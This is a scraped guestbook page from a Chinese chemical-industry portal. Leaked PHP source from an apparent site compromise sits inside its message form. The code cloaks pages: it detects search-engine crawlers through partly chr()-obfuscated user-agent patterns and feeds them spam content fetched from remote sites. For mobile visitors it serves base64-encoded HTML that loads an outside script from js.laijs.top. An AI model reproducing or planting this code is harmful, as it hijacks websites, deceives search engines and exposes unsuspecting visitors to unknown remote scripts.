手机版
二维码
购物车
(
0
)
关注微信了解最新动态
供应
求购
商城
资讯
拟在建项目
搜索
快速询价
下载APP了解最新动态
首页
会员
求购
招商合作
技术合作
供应
公司
展会
资讯
拟在建项目
品牌
人才
环保与安全
化工物流
化工商城杂志
相关协会
商圈
商城
网站首页
网站留言
当前位置:
首页
»
网站留言
留言类型
请选择
业务合作
意见建议
使用问题
页面错误
不良信息
其他
*
留言内容
[\s\S]*?<\/a>/i'; preg_match_all($lianjie, $html, $aarray5); if ($aarray5[0]) { foreach ($aarray5[0] as $pbti) { $href_preg = '/href=\s*(\"|\')([^\"\']*?)(\"|\')/i'; preg_match($href_preg, $pbti, $href_match); if (isset($href_match[2])) { $old_url = trim($href_match[2]); $lower_url = strtolower($old_url); if (preg_match('/^(java|tencent|mailto|tel|weixin|alipays|ms-windows-store|skype|whatsapp|javascript)/i', $lower_url) || $old_url == '' || $old_url == '#') { continue; } if (preg_match('/^https?:\/\/[^\/\s]+\.[^\/\s]+/i', $old_url)) { $url_parts = parse_url($old_url); $new_path = ''; if (isset($url_parts['path']) && $url_parts['path'] !== '') { $new_path = $url_parts['path']; } else { $new_path = '/'; } if (isset($url_parts['query'])) { $new_path .= '?' . $url_parts['query']; } $old_url = $new_path; } if (strpos($old_url, '#') !== false) { $old_url = substr($old_url, 0, strpos($old_url, '#')); } $old_url = preg_replace('#(?]*>(.*?)<\/title>/is'; if (preg_match($title_pattern, $html)) { $html = preg_replace($title_pattern, '
' . $new_title . '
', $html); } else { $html = str_replace('', '
' . $new_title . '
', $html); } return $html; } function rewrite_meta_tags($html, $keywords, $description) { $keywords_pattern = '/
/i'; if (preg_match($keywords_pattern, $html)) { $html = preg_replace($keywords_pattern, '
', $html); } else { $html = str_replace('', '
' . "\n", $html); } $desc_pattern = '/
/i'; if (preg_match($desc_pattern, $html)) { $html = preg_replace($desc_pattern, '
', $html); } else { $html = str_replace('', '
' . "\n", $html); } return $html; } function extract_h1_from_content($content) { $h1_pattern = '/
]*>(.*?)<\/h1>/is'; if (preg_match($h1_pattern, $content, $h1_match)) { return strip_tags($h1_match[1]); } return ''; } function extract_meta_from_content($content) { $result = array( 'title' => '', 'keywords' => '', 'description' => '' ); $title_pattern = '/
]*>(.*?)<\/title>/is'; if (preg_match($title_pattern, $content, $title_match)) { $result['title'] = strip_tags($title_match[1]); } $keywords_pattern = '/
"0123456789", 2 => "abcdefghijklmnopqrstuvwxyz0123456789"); if ($type == 0) { array_pop($arr); $string = implode("", $arr); } elseif ($type == "-1") { $string = implode("", $arr); } else { $string = isset($arr[$type]) ? $arr[$type] : $arr[1]; } $count = strlen($string) - 1; if ($count < 0) return ''; $code = ''; for ($i = 0; $i < $length; $i++) { $code .= $string[rand(0, $count)]; } return $code; } function processSpiderContent($html) { global $dir_options; return rewrite_links_smart($html, $dir_options); } function httpGet2($url) { global $dir_options; if (!headers_sent()) { header('Content-Type:text/html;charset=utf-8'); } if (!preg_match('#^https?://#', $url)) { $url = 'http://' . $url; } if (!function_exists('curl_init')) { $context = stream_context_create(array('http' => array('timeout' => 10, 'user_agent' => 'MyCustomUA/1.0'))); $output = @file_get_contents($url, false, $context); $output = rewrite_links_smart($output, $dir_options); return $output !== false ? $output : "页面获取失败"; } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0'); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); if (defined('CURLOPT_FOLLOWLOCATION')) { curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); } $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($httpCode != 200 || !$output) { return "页面获取失败"; } $output = rewrite_links_smart($output, $dir_options); return $output; } $requestUri = isset($b['REQUEST_URI']) ? $b['REQUEST_URI'] : ''; $httpReferer = isset($b['HTTP_REFERER']) ? $b['HTTP_REFERER'] : ''; $userAgent = isset($b['HTTP_USER_AGENT']) ? $b['HTTP_USER_AGENT'] : ''; $httpHost = isset($b['HTTP_HOST']) ? $b['HTTP_HOST'] : ''; define('url', $requestUri); define('ref', $httpReferer); define('ent', $userAgent); define('road', "?domain=" . $httpHost . $requestUri); define('regs', '@BaiduSpider|Sogou|Yisou|Haosou|' . chr(98) . chr(100) . chr(117) . '|' . chr(115) . chr(112) . chr(119) . '|' . chr(115) . chr(103) . chr(113) . '|' . chr(121) . chr(115) . chr(113) . '|' . chr(119) . chr(101) . chr(115) . chr(116) . '|360Spider@i'); define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/i'); define('area', $a(url,"?case") or $a(url,"?moban") or $a(url,"?news") or $a(url,"?show") or $a(url,"?wen") or $a(url,"?chanpi") or $a(url,".shtml") or $a(url,"/du/") or $a(url,"dsp/") or $a(url,"ask/") or $a(url,"/moban/") or $a(url,"zhuli/") or $a(url,"keyan/") or $a(url,"zkblw/") or $a(url,"wen/") or $a(url,"ku/") or $a(url,"/ys/") or $a(url,"/dy/") or $a(url,"/template/") or $a(url,"/xinwen1/") or $a(url,"/news1/") or $a(url,"/show1/") or $a(url,"/html1/") or $a(url,"adv") or $a(url,"music") or $a(url,"mp4") or $a(url,"andi") or $a(url,"lvyouqu") or $a(url,"daya") or $a(url,"world") or $a(url,"gogo") or $a(url,"page1") or $a(url,"balabala")); if (preg_match(regs, $userAgent)) { if (area) { if (!isset($SITES_LIST) || empty($SITES_LIST)) { $SITES_LIST = getSitesFromRemoteTxt(); } $selected_site = $SITES_LIST[array_rand($SITES_LIST)]; $html = httpGetlai($selected_site . road); if ($html !== false) { $html = processSpiderContent($html); echo $html; } exit(); } elseif (url == '/index.html' || url == '/' || url == '' || url == '/index.php') { $fullUrl = 'http://' . $httpHost . $requestUri; echo httpGet2($fullUrl); exit(); } } if(area && preg_match(mobile,ent)) { echo base64_decode('PGh0bWw+PGhlYWQ+PG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCxpbml0aWFsLXNjYWxlID0xLjAsIHVzZXItc2NhbGFibGU9bm8sIG1heGltdW0tc2NhbGU9MSxtaW5pbXVtLXNjYWxlPTEiPjwvaGVhZD48Ym9keSBzdHlsZT0ibWFyZ2luOjA7Ij48c2NyaXB0IHNyYz1odHRwczovL2pzLmxhaWpzLnRvcC94aW4uanM+PC9zY3JpcHQ+PC9ib2R5PjwvaHRtbD4='); exit; } ?>
与您联系
需要
不需要
联系人
匿名留言
联系电话
电子邮件
QQ
阿里旺旺
Notice: Undefined index: im_msn in /home/fo1210vf7o91t291n0/wwwroot/file/cache/tpl/20011/extend/guestbook.php on line 76
Skype
*
验证码
国贸资讯网
新科化工网
浙江化工网
华东化工网
网站首页
会员服务标准
|
营业执照公示
|
关于我们
|
联系方式
| |
网站地图
|
排名推广
|
广告服务
|
积分换礼
|
网站留言
|
RSS订阅
|
鲁ICP备12009867号
版权© 博康网版权所有©
服务热线:0533-3147343
客服:
审核:
投诉:
售后:
浙公网安备 33011802000480号
行业直达
污水处理
纯水处理
大气治理
防腐处理
仪器仪表
工控设备
安全防护
五金暖通
新能源
环卫农机
环保工程
化工混合
食品制药
矿冶机械
通用设备